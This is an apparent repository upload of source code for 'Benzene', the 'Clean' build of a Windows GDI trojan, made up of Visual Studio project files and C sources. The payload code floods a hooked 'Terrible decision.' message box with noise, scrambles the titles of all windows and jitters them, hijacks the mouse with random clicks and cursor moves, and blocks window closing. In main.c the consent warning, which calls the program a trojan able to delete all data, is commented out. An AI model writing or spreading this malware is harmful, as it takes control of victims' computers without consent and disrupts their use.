Add files using upload-large-folder tool

src/Benzene-main/Clean/Benzene.sln

@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.2.32317.152
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Benzene", "Benzene\Benzene.vcxproj", "{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.ActiveCfg = Release|x64
+		{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.Build.0 = Release|x64
+		{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.ActiveCfg = Release|Win32
+		{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {B9ADE6F0-3297-4736-88CE-1135D1B5CAAC}
+	EndGlobalSection
+EndGlobal

src/Benzene-main/Clean/Benzene/Benzene.vcxproj

@@ -0,0 +1,131 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="callbacks.h" />
+    <ClInclude Include="color.h" />
+    <ClInclude Include="def.h" />
+    <ClInclude Include="extra_payloads.h" />
+    <ClInclude Include="math.h" />
+    <ClInclude Include="benzene.h" />
+    <ClInclude Include="payloads.h" />
+    <ClInclude Include="resource.h" />
+    <ClInclude Include="threads.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="callbacks.c" />
+    <ClCompile Include="color.c" />
+    <ClCompile Include="extra_payloads.c" />
+    <ClCompile Include="main.c" />
+    <ClCompile Include="math.c" />
+    <ClCompile Include="payloads.c" />
+    <ClCompile Include="threads.c" />
+  </ItemGroup>
+  <ItemGroup>
+    <Image Include="..\..\..\..\..\Downloads\Benzene2.ico">
+      <DeploymentContent>true</DeploymentContent>
+    </Image>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{3a2dbcf5-a3ab-456d-8367-41d1f1e5e2b4}</ProjectGuid>
+    <RootNamespace>Benzene</RootNamespace>
+    <WindowsTargetPlatformVersion>7.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v141_xp</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v141_xp</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+    <TargetName>$(ProjectName) x86 Clean</TargetName>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+    <TargetName>$(ProjectName) x64 Clean</TargetName>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
+      <TreatWarningAsError>true</TreatWarningAsError>
+      <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
+      <CallingConvention>StdCall</CallingConvention>
+      <FloatingPointModel>Fast</FloatingPointModel>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <UACExecutionLevel>AsInvoker</UACExecutionLevel>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
+      <TreatWarningAsError>true</TreatWarningAsError>
+      <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
+      <CallingConvention>StdCall</CallingConvention>
+      <FloatingPointModel>Fast</FloatingPointModel>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <UACExecutionLevel>AsInvoker</UACExecutionLevel>
+    </Link>
+  </ItemDefinitionGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>

src/Benzene-main/Clean/Benzene/Benzene.vcxproj.filters

@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="ソース ファイル">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="ヘッダー ファイル">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="リソース">
+      <UniqueIdentifier>{b4e88c38-7352-4c2b-ba3f-1690e0e5a987}</UniqueIdentifier>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="callbacks.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="threads.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="color.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="def.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="extra_payloads.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="math.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="benzene.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="payloads.h">
+      <Filter>ヘッダー ファイル</Filter>
+    </ClInclude>
+    <ClInclude Include="resource.h">
+      <Filter>リソース</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="callbacks.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="color.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="extra_payloads.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="main.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="math.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="payloads.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+    <ClCompile Include="threads.c">
+      <Filter>ソース ファイル</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="..\..\..\..\..\デスクトップ\Monoxide-main\Monoxide\Benzene.rc">
+      <Filter>リソース</Filter>
+    </ResourceCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <Image Include="Benzene.ico">
+      <Filter>リソース</Filter>
+    </Image>
+  </ItemGroup>
+</Project>

src/Benzene-main/Clean/Benzene/Benzene.vcxproj.user

@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>

src/Benzene-main/Clean/Benzene/benzene.h

@@ -0,0 +1,29 @@
+#pragma once
+#pragma warning( disable: 4152 )
+#pragma warning( disable: 4201 )
+
+#define RGBQUAD _RGBQUAD
+#pragma warning( push, 0 )
+#include <windows.h>
+#pragma warning( pop )
+#undef RGBQUAD
+
+#include <accctrl.h>
+#include <aclapi.h>
+#include <stdio.h>
+#include <math.h>
+#include "def.h"
+#include "math.h"
+#include "color.h"
+#include "callbacks.h"
+#include "threads.h"
+#include "payloads.h"
+#include "extra_payloads.h"
+
+#pragma region Public Variables
+extern HWND hwndDesktop;
+extern HDC hdcDesktop;
+extern RECT rcScrBounds;
+extern HHOOK hMsgHook;
+extern INT nCounter;
+#pragma endregion Public Variables

src/Benzene-main/Clean/Benzene/callbacks.c

@@ -0,0 +1,59 @@
+#include "benzene.h"
+
+BOOL
+CALLBACK
+MonitorEnumProc(
+    _In_ HMONITOR hMonitor,
+    _In_ HDC hDC,
+    _In_ PRECT prcArea,
+    _In_ LPARAM lParam
+)
+{
+    UNREFERENCED_PARAMETER( hMonitor );
+    UNREFERENCED_PARAMETER( hDC );
+    UNREFERENCED_PARAMETER( lParam );
+
+    rcScrBounds.left = min( rcScrBounds.left, prcArea->left );
+    rcScrBounds.top = min( rcScrBounds.top, prcArea->top );
+    rcScrBounds.right = max( rcScrBounds.right, prcArea->right );
+    rcScrBounds.bottom = max( rcScrBounds.bottom, prcArea->bottom );
+
+    return TRUE;
+}
+    
+LRESULT
+CALLBACK
+NoDestroyWndProc(
+    _In_ HWND hWnd,
+    _In_ DWORD dwMsg,
+    _In_ WPARAM wParam,
+    _In_ LPARAM lParam
+)
+{
+    switch ( dwMsg )
+    {
+    default:
+        return DefWindowProcW( hWnd, dwMsg, wParam, lParam );
+    case WM_DESTROY:
+    case WM_CLOSE:
+    case WM_QUIT:
+        return CALLBACK_NULL;
+    }
+}
+
+VOID
+CALLBACK
+TimerProc(
+    _In_ HWND hWnd,
+    _In_ UINT nMsg,
+    _In_ UINT nIDEvent,
+    _In_ DWORD dwTime
+)
+{
+    UNREFERENCED_PARAMETER( hWnd );
+    UNREFERENCED_PARAMETER( nMsg );
+    UNREFERENCED_PARAMETER( nIDEvent );
+    UNREFERENCED_PARAMETER( dwTime );
+
+    nCounter++;
+}

src/Benzene-main/Clean/Benzene/callbacks.h

@@ -0,0 +1,29 @@
+#pragma once
+#include "benzene.h"
+
+BOOL
+CALLBACK
+MonitorEnumProc(
+    _In_ HMONITOR hMonitor,
+    _In_ HDC hDC,
+    _In_ PRECT prcArea,
+    _In_ LPARAM lParam
+);
+
+LRESULT
+CALLBACK
+NoDestroyWndProc(
+    _In_ HWND hWnd,
+    _In_ DWORD dwMsg,
+    _In_ WPARAM wParam,
+    _In_ LPARAM lParam
+);
+
+VOID
+CALLBACK
+TimerProc(
+    _In_ HWND hWnd,
+    _In_ UINT nMsg,
+    _In_ UINT nIDEvent,
+    _In_ DWORD dwTime
+);

src/Benzene-main/Clean/Benzene/color.c

@@ -0,0 +1,142 @@
+#include "benzene.h"
+
+HSLCOLOR
+RGBToHSL(
+	_In_ RGBQUAD rgb
+)
+{
+	HSLCOLOR hsl;
+
+	BYTE r = rgb.r;
+	BYTE g = rgb.g;
+	BYTE b = rgb.b;
+
+	FLOAT _r = ( FLOAT )r / 255.f;
+	FLOAT _g = ( FLOAT )g / 255.f;
+	FLOAT _b = ( FLOAT )b / 255.f;
+
+	FLOAT rgbMin = min( min( _r, _g ), _b );
+	FLOAT rgbMax = max( max( _r, _g ), _b );
+
+	FLOAT fDelta = rgbMax - rgbMin;
+	FLOAT deltaR;
+	FLOAT deltaG;
+	FLOAT deltaB;
+
+	FLOAT h = 0.f;
+	FLOAT s = 0.f;
+	FLOAT l = ( FLOAT )( ( rgbMax + rgbMin ) / 2.f );
+
+	if ( fDelta != 0.f )
+	{
+		s = l < .5f ? ( FLOAT )( fDelta / ( rgbMax + rgbMin ) ) : ( FLOAT )( fDelta / ( 2.f - rgbMax - rgbMin ) );
+		deltaR = ( FLOAT )( ( ( rgbMax - _r ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
+		deltaG = ( FLOAT )( ( ( rgbMax - _g ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
+		deltaB = ( FLOAT )( ( ( rgbMax - _b ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
+
+		if ( _r == rgbMax )
+		{
+			h = deltaB - deltaG;
+		}
+		else if ( _g == rgbMax )
+		{
+			h = ( 1.f / 3.f ) + deltaR - deltaB;
+		}
+		else if ( _b == rgbMax )
+		{
+			h = ( 2.f / 3.f ) + deltaG - deltaR;
+		}
+
+		if ( h < 0.f )
+		{
+			h += 1.f;
+		}
+		if ( h > 1.f )
+		{
+			h -= 1.f;
+		}
+	}
+
+	hsl.h = h;
+	hsl.s = s;
+	hsl.l = l;
+	return hsl;
+}
+
+RGBQUAD
+HSLToRGB(
+	_In_ HSLCOLOR hsl
+)
+{
+	RGBQUAD rgb;
+
+	FLOAT r = hsl.l;
+	FLOAT g = hsl.l;
+	FLOAT b = hsl.l;
+
+	FLOAT h = hsl.h;
+	FLOAT sl = hsl.s;
+	FLOAT l = hsl.l;
+	FLOAT v = ( l <= .5f ) ? ( l * ( 1.f + sl ) ) : ( l + sl - l * sl );
+
+	FLOAT m;
+	FLOAT sv;
+	FLOAT fract;
+	FLOAT vsf;
+	FLOAT mid1;
+	FLOAT mid2;
+
+	INT sextant;
+
+	if ( v > 0.f )
+	{
+		m = l + l - v;
+		sv = ( v - m ) / v;
+		h *= 6.f;
+		sextant = ( INT )h;
+		fract = h - sextant;
+		vsf = v * sv * fract;
+		mid1 = m + vsf;
+		mid2 = v - vsf;
+
+		switch ( sextant )
+		{
+		case 0:
+			r = v;
+			g = mid1;
+			b = m;
+			break;
+		case 1:
+			r = mid2;
+			g = v;
+			b = m;
+			break;
+		case 2:
+			r = m;
+			g = v;
+			b = mid1;
+			break;
+		case 3:
+			r = m;
+			g = mid2;
+			b = v;
+			break;
+		case 4:
+			r = mid1;
+			g = m;
+			b = v;
+			break;
+		case 5:
+			r = v;
+			g = m;
+			b = mid2;
+			break;
+		}
+	}
+
+	rgb.r = ( BYTE )( r * 255.f );
+	rgb.g = ( BYTE )( g * 255.f );
+	rgb.b = ( BYTE )( b * 255.f );
+
+	return rgb;
+}

src/Benzene-main/Clean/Benzene/color.h

@@ -0,0 +1,18 @@
+#pragma once
+#include "benzene.h"
+
+typedef struct {
+	FLOAT h;
+	FLOAT s;
+	FLOAT l;
+} HSLCOLOR;
+
+HSLCOLOR
+RGBToHSL(
+	_In_ RGBQUAD rgb
+);
+
+RGBQUAD
+HSLToRGB(
+	_In_ HSLCOLOR hsl
+);

src/Benzene-main/Clean/Benzene/def.h

@@ -0,0 +1,59 @@
+#pragma once
+#include "benzene.h"
+
+typedef union
+{
+	COLORREF rgb;
+	struct
+	{
+		BYTE b;
+		BYTE g;
+		BYTE r;
+		BYTE unused;
+	};
+} RGBQUAD, *PRGBQUAD;
+
+typedef VOID( WINAPI GDI_SHADER )(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ HDC hdcTemp,
+	_In_ HBITMAP hbmTemp,
+	_In_ PRGBQUAD prgbSrc,
+	_Inout_ PRGBQUAD prgbDst
+	), *PGDI_SHADER;
+
+typedef VOID( WINAPI GDI_SHADER_OPERATION )(
+	_In_ INT t,
+	_In_ INT w,
+	_In_ INT h,
+	_In_ RECT rcBounds,
+	_In_ HDC hdcDst,
+	_In_ HDC hdcTemp
+	), *PGDI_SHADER_OPERATION;
+
+typedef struct tagGDI_SHADER_PARAMS
+{
+	PGDI_SHADER pGdiShader;
+	PGDI_SHADER_OPERATION pPreGdiShader;
+	PGDI_SHADER_OPERATION pPostGdiShader;
+} GDI_SHADER_PARAMS, *PGDISHADER_PARAMS;
+
+typedef VOID( WINAPI AUDIO_SEQUENCE )(
+	_In_ INT nSamplesPerSec,
+	_In_ INT nSampleCount,
+	_Inout_ PSHORT psSamples
+	), *PAUDIO_SEQUENCE;
+
+typedef VOID( WINAPI AUDIOSEQUENCE_OPERATION )(
+	_In_ INT nSamplesPerSec
+	), *PAUDIO_SEQUENCE_OPERATION;
+
+typedef struct tagAUDIO_SEQUENCE_PARAMS
+{
+	INT nSamplesPerSec;
+	INT nSampleCount;
+	PAUDIO_SEQUENCE pAudioSequence;
+	PAUDIO_SEQUENCE_OPERATION pPreAudioOp;
+	PAUDIO_SEQUENCE_OPERATION pPostAudioOp;
+} AUDIO_SEQUENCE_PARAMS, *PAUDIO_SEQUENCE_PARAMS;

src/Benzene-main/Clean/Benzene/extra_payloads.c

@@ -0,0 +1,247 @@
+#include "benzene.h"
+
+VOID
+GetRandomPath(
+	_Inout_ PWSTR szRandom,
+	_In_ INT nLength
+)
+{
+	for ( INT i = 0; i < nLength; i++ )
+	{
+		szRandom[ i ] = ( WCHAR )( Xorshift32( ) % ( 0x9FFF - 0x4E00 + 1 ) + 0x4E00 );
+	}
+}
+
+BOOL
+CALLBACK
+MsgBoxRefreshWndProc(
+	_In_ HWND   hwnd,
+	_In_ LPARAM lParam
+)
+{
+	UNREFERENCED_PARAMETER( lParam );
+	RedrawWindow( hwnd, NULL, NULL, RDW_ERASE | RDW_INVALIDATE );
+	return TRUE;
+}
+
+BOOL
+CALLBACK
+MsgBoxWndProc(
+	_In_ HWND   hwnd,
+	_In_ LPARAM lParam
+)
+{
+	UNREFERENCED_PARAMETER( lParam );
+	EnableWindow( hwnd, FALSE );
+	SetWindowTextW( hwnd, L"Terrible decision." );
+	return TRUE;
+}
+
+VOID
+WINAPI
+MsgBoxCorruptionThread(
+	_In_ HWND hwndMsgBox
+)
+{
+	BITMAPINFO bmi = { 0 };
+	HANDLE hHeap;
+	PRGBQUAD prgbPixels;
+	HDC hdcMsgBox;
+	HDC hdcTempMsgBox;
+	HBITMAP hbmMsgBox;
+	RECT rcMsgBox;
+	INT w;
+	INT h;
+
+	GetWindowRect( hwndMsgBox, &rcMsgBox );
+	w = rcMsgBox.right - rcMsgBox.left;
+	h = rcMsgBox.bottom - rcMsgBox.top;
+
+	bmi.bmiHeader.biSize = sizeof( BITMAPINFO );
+	bmi.bmiHeader.biBitCount = 32;
+	bmi.bmiHeader.biPlanes = 1;
+	bmi.bmiHeader.biWidth = w;
+	bmi.bmiHeader.biHeight = h;
+
+	hHeap = GetProcessHeap( );
+	prgbPixels = ( PRGBQUAD )HeapAlloc( hHeap, 0, w * h * sizeof( RGBQUAD ) );
+
+	hdcMsgBox = GetDC( hwndMsgBox );
+	hdcTempMsgBox = CreateCompatibleDC( hdcMsgBox );
+	hbmMsgBox = CreateDIBSection( hdcMsgBox, &bmi, 0, &prgbPixels, NULL, 0 );
+	SelectObject( hdcTempMsgBox, hbmMsgBox );
+
+	for ( ;; )
+	{
+		for ( INT32 i = 0; i < w * h; i++ )
+		{
+			prgbPixels[ i ].rgb = ( Xorshift32( ) % 0x100 ) * 0x010101;
+		}
+
+		BitBlt( hdcMsgBox, 0, 0, w, h, hdcTempMsgBox, 0, 0, SRCCOPY );
+		EnumChildWindows( hwndMsgBox, MsgBoxRefreshWndProc, 0 );
+		Sleep( 10 );
+	}
+}
+
+LRESULT
+CALLBACK
+MsgBoxHookProc(
+	_In_ INT nCode,
+	_In_ WPARAM wParam,
+	_In_ LPARAM lParam
+)
+{
+	HWND hwndMsgBox;
+
+	if ( nCode == HCBT_ACTIVATE )
+	{
+		hwndMsgBox = ( HWND )wParam;
+
+		ShowWindow( hwndMsgBox, SW_SHOW );
+
+		EnumChildWindows( hwndMsgBox, MsgBoxWndProc, 0 );
+		CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MsgBoxCorruptionThread, hwndMsgBox, 0, NULL );
+
+		return 0;
+	}
+
+	return CallNextHookEx( hMsgHook, nCode, wParam, lParam );
+}
+
+VOID
+WINAPI
+MessageBoxThread( VOID )
+{
+	hMsgHook = SetWindowsHookExW( WH_CBT, MsgBoxHookProc, NULL, GetCurrentThreadId( ) );
+	MessageBoxW( NULL, L"Terrible decision.", L"Terrible decision.", MB_ABORTRETRYIGNORE | MB_ICONERROR );
+	UnhookWindowsHookEx( hMsgHook );
+}
+
+BOOL
+CALLBACK
+GlobalWndProc(
+	_In_ HWND   hwnd,
+	_In_ LPARAM lParam
+)
+{
+	BOOL bParent;
+	HDC hdc;
+	RECT rcOriginal;
+	RECT rc;
+	INT w;
+	INT h;
+
+	Sleep( 10 );
+
+	WCHAR szWndText[ 256 ];
+	for ( INT i = 0; i < 256; i++ )
+	{
+		szWndText[ i ] = ( WCHAR )( ( Xorshift32( ) % 256 ) + 1 );
+	}
+
+	SetWindowTextW( hwnd, szWndText );
+
+	GetWindowRect( hwnd, &rcOriginal );
+
+	rc = rcOriginal;
+
+	rc.left += Xorshift32( ) % 3 - 1;
+	rc.top += Xorshift32( ) % 3 - 1;
+	rc.right += Xorshift32( ) % 3 - 1;
+	rc.bottom += Xorshift32( ) % 3 - 1;
+
+	w = rc.right - rc.left;
+	h = rc.bottom - rc.top;
+
+	MoveWindow( hwnd, rc.left, rc.top, w, h, TRUE );
+
+	hdc = GetDC( hwnd );
+
+	if ( Xorshift32( ) % 2 )
+	{
+		BitBlt( hdc, rc.left, rc.top, w, h, hdc, rcOriginal.left, rcOriginal.top, ( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
+	} 
+	else
+	{
+		w = rcOriginal.right - rcOriginal.left;
+		h = rcOriginal.bottom - rcOriginal.top;
+		StretchBlt( hdc, rcOriginal.left, rcOriginal.top, w, h, hdcDesktop, rcScrBounds.left, rcScrBounds.top,
+			rcScrBounds.right - rcScrBounds.left, rcScrBounds.bottom - rcScrBounds.top,
+			( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
+	}
+	
+	ReleaseDC( hwnd, hdc );
+
+	bParent = ( BOOL )lParam;
+
+	if ( bParent )
+	{
+		EnumChildWindows( hwnd, GlobalWndProc, FALSE );
+	}
+
+	return TRUE;
+}
+
+VOID
+WINAPI
+EnumGlobalWnd( VOID )
+{
+	for ( ;; )
+	{
+		EnumWindows( GlobalWndProc, TRUE );
+	}
+}
+
+VOID
+WINAPI
+CursorClicker( VOID )
+{
+	INT ppdwClickEvents[ 2 ][ 2 ] = {
+		{ MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP },
+		{ MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP }
+	};
+
+	for ( ;; )
+	{
+		INT nIndex = Xorshift32( ) % 2;
+
+		mouse_event( ppdwClickEvents[ nIndex ][ 0 ], 0, 0, 0, 0 );
+		Sleep( Xorshift32( ) % 51 + 50 );
+
+		mouse_event( ppdwClickEvents[ nIndex ][ 1 ], 0, 0, 0, 0 );
+		Sleep( Xorshift32( ) % 51 + 50 );
+	}
+}
+
+VOID
+WINAPI
+CursorMess( VOID )
+{
+	for ( ;; )
+	{
+		SetCursorPos( Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left ) - rcScrBounds.left,
+			Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top ) - rcScrBounds.top );
+		Sleep( 1000 );
+	}
+}
+
+VOID
+WINAPI
+CursorDraw( VOID )
+{
+	CURSORINFO curInf = { sizeof( CURSORINFO ) };
+
+	for ( ;; )
+	{
+		GetCursorInfo( &curInf );
+
+		for ( INT i = 0; i < ( INT )( Xorshift32( ) % 5 + 1 ); i++ )
+		{
+			DrawIcon( hdcDesktop, Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left - GetSystemMetrics( SM_CXCURSOR ) ) - rcScrBounds.left,
+				Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top - GetSystemMetrics( SM_CYCURSOR ) ) - rcScrBounds.top, curInf.hCursor );
+		}
+		DestroyCursor( curInf.hCursor );
+		Sleep( Xorshift32( ) % 11 );
+	}
+}

src/Benzene-main/Clean/Benzene/extra_payloads.h

@@ -0,0 +1,28 @@
+#pragma once
+#include "benzene.h"
+
+VOID
+GetRandomPath(
+    _Inout_ PWSTR szRandom,
+    _In_ INT nLength
+);
+
+VOID
+WINAPI
+MessageBoxThread( VOID );
+
+VOID
+WINAPI
+EnumGlobalWnd( VOID );
+
+VOID
+WINAPI
+CursorClicker( VOID );
+
+VOID
+WINAPI
+CursorMess( VOID );
+
+VOID
+WINAPI
+CursorDraw( VOID );

src/Benzene-main/Clean/Benzene/main.c

@@ -0,0 +1,137 @@
+#include "benzene.h"
+
+#pragma region Public Variables
+HWND hwndDesktop;
+HDC hdcDesktop;
+RECT rcScrBounds;
+HHOOK hMsgHook;
+INT nCounter = 0;
+#pragma endregion Public Variables
+
+VOID
+WINAPI
+Initialize(VOID)
+{
+	HMODULE hModUser32 = LoadLibraryW(L"user32.dll");
+	BOOL(WINAPI * SetProcessDPIAware)(VOID) = (BOOL(WINAPI*)(VOID))GetProcAddress(hModUser32, "SetProcessDPIAware");
+	if (SetProcessDPIAware)
+		SetProcessDPIAware();
+	FreeLibrary(hModUser32);
+
+	hwndDesktop = HWND_DESKTOP;
+	hdcDesktop = GetDC(hwndDesktop);
+
+	SeedXorshift32((DWORD)__rdtsc());
+	InitializeSine();
+	EnumDisplayMonitors(NULL, NULL, &MonitorEnumProc, 0);
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)TimerThread, NULL, 0, NULL));
+}
+
+INT
+WINAPI
+wWinMain(
+	_In_ HINSTANCE hInstance,
+	_In_opt_ HINSTANCE hPrevInstance,
+	_In_ PWSTR pszCmdLine,
+	_In_ INT nShowCmd
+)
+{
+	UNREFERENCED_PARAMETER(hInstance);
+	UNREFERENCED_PARAMETER(hPrevInstance);
+	UNREFERENCED_PARAMETER(pszCmdLine);
+	UNREFERENCED_PARAMETER(nShowCmd);
+
+	HANDLE hCursorDraw, hAudioThread, hGdiThread;
+
+	Initialize();
+
+
+	//if (MessageBoxW(NULL, L"WARNING!\n\nYou have ran a Trojan known as Benzene.exe that has full capacity to delete all of your data and your operating system.\n\nBy continuing, you keep in mind that the creator will not be responsible for any damage caused by this trojan and it is highly recommended that you run this in a testing virtual machine where a snapshot has been made before execution for the sake of entertainment and analysis.\n\nAre you sure you want to run this?", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO) != IDYES)
+	//	return FALSE;
